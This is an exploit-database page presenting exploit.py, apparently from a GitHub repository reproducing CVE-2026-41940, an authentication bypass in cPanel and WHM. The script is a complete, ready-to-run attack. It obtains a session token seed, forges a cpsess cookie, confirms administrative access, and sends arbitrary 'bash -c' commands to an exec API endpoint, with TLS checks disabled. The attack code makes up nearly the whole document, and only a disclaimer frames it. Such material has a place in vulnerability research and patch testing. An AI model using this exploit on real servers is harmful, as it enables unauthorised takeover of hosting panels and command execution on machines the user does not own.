Exploit databaseDownload repository ZIP
GH-608c3bb015bbbfee34991a0c9ab1df3b
razureink/cve-2026-41940-cpanel_authbypass_reproduction
Sources for CVE-2026-41940
51 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files2
razureink/cve-2026-41940-cpanel_authbypass_reproductionRevision dea0348fac3a
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit.py
Suggested starting filePython · 3,343 bytes#!/usr/bin/env python3
"""
CVE-2026-41940 — cPanel & WHM Authentication Bypass Exploit
For authorised testing and educational purposes only.
Unauthorised use against systems you do not own is illegal.
"""
import argparse
import re
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
SESSION_ENDPOINTS = {
"cpanel": {"login": "/login.cgi", "admin": "/cpsess"},
"whm": {"login": "/cgi-sys/login.cgi", "admin": "/cpsess"},
}
def parse_args():
parser = argparse.ArgumentParser(
description="CVE-2026-41940 cPanel/WHM Authentication Bypass"
)
parser.add_argument("--target", required=True, help="Target IP or hostname")
parser.add_argument("--port", type=int, default=2083, help="Target port (default: 2083)")
parser.add_argument("--ssl", action="store_true", default=True, help="Use HTTPS (default: True)")
parser.add_argument("--cmd", default="id", help="Command to execute as root if chained")
parser.add_argument("--panel", choices=["cpanel", "whm"], default="cpanel", help="Panel type")
parser.add_argument("--timeout", type=int, default=10, help="HTTP request timeout")
return parser.parse_args()
def build_base(args):
proto = "https" if args.ssl else "http"
return f"{proto}://{args.target}:{args.port}"
def fetch_token_seed(base, panel, timeout):
ep = SESSION_ENDPOINTS[panel]["login"]
url = f"{base}{ep}?skip_authentication=1"
resp = requests.get(url, verify=False, timeout=timeout)
match = re.search(r"cpsess=([a-f0-9]+)", resp.text or resp.headers.get("Set-Cookie", ""))
if match:
return match.group(1)
match = re.search(r"([a-f0-9]{32,})", resp.text or "")
return match.group(1) if match else None
def forge_session_cookie(token_seed):
return f"cpsess={token_seed}000000000000000000000000000"
def check_access(base, panel, cookie, timeout):
ep = SESSION_ENDPOINTS[panel]
headers = {"Cookie": cookie, "User-Agent": "Mozilla/5.0"}
url = f"{base}{ep['admin']}/"
resp = requests.get(url, headers=headers, verify=False, timeout=timeout)
return resp.status_code == 200 and ("cpanel" in resp.text.lower() or "whm" in resp.text.lower())
def exec_command(base, cmd, timeout):
payload = {
"command": f"bash -c '{cmd}'",
"api.version": 1,
}
url = f"{base}/cpsess/execute/API1/exec"
resp = requests.post(url, data=payload, verify=False, timeout=timeout)
return resp.text
def main():
args = parse_args()
base = build_base(args)
print(f"[*] Targeting {base}")
print(f"[*] Attempting CVE-2026-41940 auth bypass on {args.panel}...")
seed = fetch_token_seed(base, args.panel, args.timeout)
if not seed:
print("[-] Could not obtain token seed; target may be patched.")
return
print(f"[+] Token seed obtained: {seed}")
cookie = forge_session_cookie(seed)
print(f"[+] Forged session cookie: {cookie}")
if not check_access(base, args.panel, cookie, args.timeout):
print("[-] Auth bypass failed — session rejected.")
return
print("[+] Authentication bypass successful!")
print(f"[*] Executing command: {args.cmd}")
result = exec_command(base, args.cmd, args.timeout)
print(f"[*] Output:\n{result}")
if __name__ == "__main__":
main()